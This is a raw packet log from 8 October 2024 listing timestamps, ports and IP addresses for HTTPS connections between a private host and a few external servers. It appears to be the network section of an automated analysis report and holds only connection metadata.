Oct 8, 2024 20:52:13.684695005 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.684710979 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.684772968 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.684778929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.684827089 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.685003042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685024023 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685089111 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.685095072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685151100 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.685317039 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685332060 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685385942 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.685391903 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685432911 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.685770035 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685785055 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685838938 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.685852051 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.685892105 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.989353895 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 8, 2024 20:52:13.998223066 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998254061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998368979 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.998405933 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998456001 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.998513937 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998532057 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998573065 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.998580933 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998615980 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.998625994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.998950958 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.998966932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999011993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999020100 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999047995 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999068022 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999265909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999316931 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999361038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999368906 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999408007 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999408007 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999516964 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999532938 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999578953 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999586105 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999607086 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999624968 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.999983072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.999998093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.000039101 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.000049114 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.000077963 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.000089884 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.000461102 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.000475883 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.000530005 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.000536919 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.000576973 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.001003027 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001019955 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001066923 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.001075029 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001116037 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.001600981 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001642942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001672029 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.001677990 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001707077 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.001724958 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.001944065 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.001986027 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002011061 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002016068 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002047062 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002063990 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002244949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002300978 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002315044 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002321005 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002352953 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002370119 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002775908 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002819061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002851963 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002856970 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.002885103 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.002903938 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003062010 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003103018 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003129959 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003134012 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003166914 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003185034 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003313065 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003351927 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003392935 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003397942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003422976 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003437042 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003529072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003571033 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003597021 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003601074 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003632069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003648996 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003720999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003772974 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003793955 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003798962 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003828049 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003845930 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.003926992 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003966093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.003998041 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.004004002 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.004033089 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.004040956 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.004071951 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.004115105 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.004141092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.004144907 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.004177094 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.004189968 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.005857944 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.005899906 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.005955935 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.005961895 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006000042 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006017923 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006144047 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006170988 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006207943 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006211996 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006242037 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006258965 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006308079 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006334066 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006373882 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006378889 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006408930 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006428957 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006802082 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006829023 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006869078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006872892 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.006901026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.006920099 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.007117987 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.007142067 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.007181883 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.007185936 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.007220030 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.007239103 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.007260084 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.007287025 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.007390022 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.007395029 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.007445097 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055094957 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055162907 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055201054 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055218935 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055248976 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055267096 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055356026 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055433035 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055449963 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055506945 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055540085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055639029 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055685997 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055711985 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055717945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055746078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055763960 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055838108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055877924 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055897951 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055903912 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.055923939 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.055939913 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056025028 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056062937 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056090117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056094885 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056132078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056155920 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056163073 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056191921 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056222916 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056245089 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056246042 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056267023 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.056301117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.056323051 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.057090044 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.057147026 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.057188034 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.057193995 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.057224035 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.057240963 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.057423115 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.057466984 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.057493925 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.057498932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.057531118 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.057547092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.160458088 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.160485983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.160557985 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.160583019 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.160603046 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.160624981 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.162442923 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.162488937 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.162524939 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.162529945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.162564039 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.162581921 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.162825108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.162868023 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.162897110 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.162902117 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.162930012 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.162947893 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.163603067 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.163646936 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.163676023 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.163681030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.163710117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.163724899 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.164400101 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.164446115 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.164463997 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.164469957 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.164536953 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.164777040 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.164819956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.164839029 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.164844990 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.164877892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.165636063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.165677071 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.165695906 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.165704012 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.165740013 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.165836096 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.165952921 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.165994883 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.166019917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.166024923 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.166053057 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.166069984 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.231812000 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.235986948 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.236015081 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.236377001 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.236385107 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.238639116 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.239778042 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.239804983 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.240106106 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.240113020 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.252367973 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.253133059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.253267050 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.253345966 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.253359079 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.253391027 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.253398895 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.253875971 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.253881931 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.254293919 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.254298925 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.255851030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.255903959 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.255960941 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.255970001 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.255997896 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.256020069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.256081104 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.256130934 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.256153107 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.256158113 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.256181955 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.256201982 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.256304026 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.256346941 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.256361961 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.256366968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.256405115 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.257405043 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.257450104 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.257479906 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.257488966 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.257500887 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.257507086 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.257533073 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.257590055 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.257637978 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.257647991 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.257667065 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.257698059 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.257711887 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.258582115 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.258632898 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.258663893 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.258671045 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.258697033 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.258714914 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.258740902 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.259037018 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.259056091 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.259084940 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.259128094 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.259136915 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.259161949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.259181023 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.259569883 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.259594917 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.259975910 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.259984016 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.266340971 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.266357899 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.266859055 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.266865015 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.332936049 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.333012104 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.333098888 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.333872080 CEST	49782	443	192.168.2.9	13.107.246.45
